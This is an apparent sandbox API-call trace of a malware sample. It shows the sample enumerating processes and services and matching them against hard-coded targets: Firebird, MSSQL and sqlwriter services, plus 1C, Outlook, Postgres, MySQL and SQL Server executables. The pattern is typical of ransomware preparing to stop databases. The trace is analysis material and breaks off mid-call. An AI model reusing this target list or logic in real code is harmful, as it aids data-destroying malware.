[0256.331] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0256.332] lstrlenW (lpString="userinit.exe") returned 12 [0256.332] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.332] lstrlenW (lpString="dwm.exe") returned 7 [0256.332] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.332] lstrlenW (lpString="explorer.exe") returned 12 [0256.332] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.332] lstrlenW (lpString="spoolsv.exe") returned 11 [0256.333] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0256.333] lstrlenW (lpString="taskhost.exe") returned 12 [0256.333] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.333] lstrlenW (lpString="svchost.exe") returned 11 [0256.333] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0256.333] lstrlenW (lpString="uyuquk.exe") returned 10 [0256.333] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0256.334] lstrlenW (lpString="reader_sl.exe") returned 13 [0256.334] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0256.334] CloseHandle (hObject=0x204) returned 1 [0256.334] Sleep (dwMilliseconds=0x1f4) [0256.965] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeaa8 [0256.986] EnumServicesStatusExW (in: hSCManager=0x42aeaa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0256.986] GetLastError () returned 0xea [0256.986] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x4232878 [0256.986] EnumServicesStatusExW (in: hSCManager=0x42aeaa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0256.987] CloseServiceHandle (hSCObject=0x42aeaa8) returned 1 [0256.987] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0256.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.987] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0256.987] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0256.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0256.987] lstrlenW (lpString="AudioSrv") returned 8 [0256.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0256.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0256.987] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0256.987] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0256.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0256.987] lstrlenW (lpString="BFE") returned 3 [0256.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0256.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0256.987] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0256.987] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0256.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0256.987] lstrlenW (lpString="CryptSvc") returned 8 [0256.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0256.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0256.988] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0256.988] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0256.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0256.988] lstrlenW (lpString="CscService") returned 10 [0256.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0256.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0256.988] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0256.988] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0256.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0256.988] lstrlenW (lpString="DcomLaunch") returned 10 [0256.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.988] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0256.988] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0256.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0256.988] lstrlenW (lpString="Dhcp") returned 4 [0256.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0256.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0256.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0256.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0256.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0256.988] lstrlenW (lpString="Dnscache") returned 8 [0256.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0256.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0256.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0256.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0256.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0256.988] lstrlenW (lpString="DPS") returned 3 [0256.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0256.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0256.988] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0256.988] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0256.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0256.988] lstrlenW (lpString="eventlog") returned 8 [0256.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0256.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0256.989] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0256.989] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0256.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0256.989] lstrlenW (lpString="EventSystem") returned 11 [0256.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0256.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0256.989] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0256.989] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0256.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0256.989] lstrlenW (lpString="gpsvc") returned 5 [0256.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0256.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0256.989] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0256.989] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0256.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0256.989] lstrlenW (lpString="LanmanWorkstation") returned 17 [0256.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.989] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0256.989] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0256.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0256.989] lstrlenW (lpString="lmhosts") returned 7 [0256.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0256.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0256.989] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0256.989] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0256.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0256.989] lstrlenW (lpString="MMCSS") returned 5 [0256.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0256.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0256.989] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0256.989] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0256.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0256.989] lstrlenW (lpString="MpsSvc") returned 6 [0256.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0256.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0256.990] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0256.990] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0256.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0256.990] lstrlenW (lpString="NlaSvc") returned 6 [0256.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0256.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0256.990] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0256.990] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0256.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0256.990] lstrlenW (lpString="nsi") returned 3 [0256.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0256.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0256.990] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0256.990] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0256.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0256.990] lstrlenW (lpString="PcaSvc") returned 6 [0256.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0256.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0256.990] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0256.990] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0256.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0256.990] lstrlenW (lpString="PlugPlay") returned 8 [0256.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0256.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0256.990] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0256.990] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0256.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0256.990] lstrlenW (lpString="Power") returned 5 [0256.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0256.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0256.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0256.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0256.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0256.990] lstrlenW (lpString="ProfSvc") returned 7 [0256.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0256.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0256.991] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0256.991] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0256.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0256.991] lstrlenW (lpString="RpcEptMapper") returned 12 [0256.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.991] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0256.991] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0256.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0256.991] lstrlenW (lpString="RpcSs") returned 5 [0256.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0256.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0256.991] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0256.991] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0256.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0256.991] lstrlenW (lpString="SamSs") returned 5 [0256.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0256.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0256.991] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0256.991] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0256.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0256.991] lstrlenW (lpString="Schedule") returned 8 [0256.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0256.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0256.991] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0256.991] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0256.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0256.991] lstrlenW (lpString="SENS") returned 4 [0256.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0256.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0256.991] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0256.991] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0256.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0256.992] lstrlenW (lpString="ShellHWDetection") returned 16 [0256.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.992] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0256.992] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0256.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0256.992] lstrlenW (lpString="Spooler") returned 7 [0256.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0256.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0256.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0256.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0256.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0256.992] lstrlenW (lpString="SysMain") returned 7 [0256.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0256.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0256.992] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0256.992] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0256.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0256.992] lstrlenW (lpString="Themes") returned 6 [0256.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0256.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0256.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0256.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0256.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0256.992] lstrlenW (lpString="TrkWks") returned 6 [0256.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0256.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0256.992] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0256.992] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0256.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0256.992] lstrlenW (lpString="UxSms") returned 5 [0256.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0256.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0256.992] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0256.992] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0256.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0256.993] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0256.993] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0256.995] Process32FirstW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.995] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.995] lstrlenW (lpString="System") returned 6 [0256.995] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0256.995] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0256.995] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0256.995] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0256.995] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0256.995] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0256.995] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0256.995] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.996] lstrlenW (lpString="smss.exe") returned 8 [0256.996] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0256.996] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0256.996] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0256.996] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0256.996] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0256.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0256.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0256.996] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.996] lstrlenW (lpString="csrss.exe") returned 9 [0256.996] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0256.996] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0256.996] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0256.996] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0256.996] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0256.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0256.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0256.996] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.997] lstrlenW (lpString="wininit.exe") returned 11 [0256.997] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0256.997] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0256.997] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0256.997] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0256.997] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0256.997] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0256.997] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0256.997] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.997] lstrlenW (lpString="csrss.exe") returned 9 [0256.997] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0256.997] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0256.997] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0256.997] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0256.997] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0256.997] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0256.997] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0256.997] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.998] lstrlenW (lpString="winlogon.exe") returned 12 [0256.998] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0256.998] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0256.998] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0256.998] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0256.998] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0256.998] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0256.998] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0256.998] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.998] lstrlenW (lpString="services.exe") returned 12 [0256.998] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0256.998] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0256.998] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0256.998] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0256.998] lstrcmpiW 